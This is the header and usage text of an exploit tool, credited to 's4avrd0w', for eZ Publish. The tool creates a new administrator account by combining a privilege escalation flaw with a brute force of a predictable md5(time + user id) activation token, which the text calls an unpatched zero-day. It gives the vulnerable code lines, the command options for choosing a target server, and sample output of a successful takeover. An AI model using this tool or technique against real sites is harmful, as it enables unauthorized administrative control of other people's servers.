 eZ Publish privilege escalation and weak activation token for new user exploit by s4avrd0w [s4avrd0w@p0c.ru]
 Versions affected >= 3.5.6
 eZ Publish privilege escalation resolved in 3.9.5, 3.10.1, 4.0.1
 More info: http://ez.no/developer/security/security_advisories/ez_publish_3_9/ezsa_2008_003_insufficient_form_handling_made_privilege_escalation_possible

 eZ Publish weak activation token for new user not resolved now (zero-day).
 Vulnerable code in the version 3.9.2:
  $hash = md5( mktime( ) . $user->attribute( 'contentobject_id' ) );
 Vulnerable code in the version 4.0.1:
  $hash = md5( time() . $user->attribute( 'contentobject_id' ) );
 
 * tested on version 3.9.2

 usage:

 # ./eZPublish_create_admin_exploit.php -u=username -p=password -s=EZPublish_server [ -e=email -t=timestamp ]

 The options are required:
  -u Login of the new admin on eZ Publish
  -p Password of the new admin on eZ Publish
  -s Target for privilege escalation

 The options are optional:
  -t Unix timestamp for a date on target eZ Publish server
  This option is required in a case when on a target server incorrect time is established.
  Default is unix timestamp for a date on local computer.
  -e Email of the new admin on eZ Publish
  Default is anybody@localhost.localhost.

 example:

 # ./eZPublish_create_admin_exploit.php -u=admin -p=P@ssw0rd -s=http://127.0.0.1/ -e=my_mail@google.com -t=1229194235
 [+] Phase 1 successfully finished
 [+] Use timestamp: 1229194235
 [+] Begin bruteforce...
 ....................
 [+] Phase 2 successfully finished

 [+] Exploiting is finished successfully
 [+] Login in system using admin/P@ssw0rd
